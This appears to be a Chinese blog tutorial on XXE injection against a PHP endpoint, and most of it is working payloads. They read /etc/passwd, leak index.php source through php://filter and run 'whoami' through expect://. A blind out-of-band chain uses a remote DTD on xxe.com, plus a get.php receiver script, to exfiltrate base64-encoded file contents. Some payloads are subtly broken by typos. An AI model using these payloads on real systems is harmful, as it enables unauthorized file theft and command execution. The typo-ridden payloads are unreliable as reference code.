zoukankan      html  css  js  c++  java
  • XXE外部实体注入漏洞——PHP

    前言

    XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

    在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。

    漏洞利用

    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    测试代码

    使用simplexml_load_string函数解析body

    <?php
    
    $data = file_get_contents('php://input');
    
    $xml = simplexml_load_string($data);
    
    echo $xml->name;
    
    ?>

    漏洞测试

    漏洞测试方式1

    有回显,直接读取文件 有过滤就自己看着办

    <?xml version="1.0" encoding="utf-8"?>
    
    <!DOCTYPE xxe [
    
    <!ELEMENT name ANY >
    
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    
    <root>
    
    <name>&xxe;</name>
    
    </root>

    这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。

    这里我们还可以利用xxe获取页面源码

    (2)使用php协议
    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE xxe[
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
    <root>
    <name>&xxe;</name>
    </root>
    

     

    返回的即为index.php的源码

    执行系统命令

    在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE xxe[
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://whoami">]>
    <root>
    <name>&xxe;</name>
    </root>

    测试2

    思路 无回显

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE root [
    
    <!ENTITY % remote SYSTEM "http://xxe.com/1.xml">
    
    %remote;]>
    
    将以下1.xml保存到WEB服务器下
    
    1.xml
    
    <!ENTITY % a SYSTEM "file:///etc/passwd">
    
    <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

     

    楼洞测试方式3

    在主机上放一个接收文件的php(get.php):

    <?php
    
    file_put_contents('01.txt', $_GET['xxe_local']);
    
    ?>
    
    1. xml内容:
    
    <!ENTITY % payloadSYSTEM "php://filter/read=convert.-encode/resource=file:///etc/passwd">
    
    <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">
    
    %int;
    
    %trick;
    
    这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。
    
    接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。
    
    发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行编码后传给get.php,最后保存到主机上

     查看01.txt

    一串base64 然后解码就是你要的东西

  • 相关阅读:
    [WC2010]重建计划
    [Codeforces150E] Freezing with Style
    [Codeforces915F] Imbalance Value of a Tree
    [Codeforces1055F] Tree and XOR
    [Codeforces1117G]Recursive Queries
    [Codeforces587F]Duff is Mad
    [Codeforces547E]Mike and Friends
    [2020团体程序设计天梯赛-总决赛L3-2] 传送门
    第05组 Beta冲刺 (1/5)
    第05组 Alpha冲刺 总结
  • 原文地址:https://www.cnblogs.com/-zhong/p/11194080.html
Copyright © 2011-2022 走看看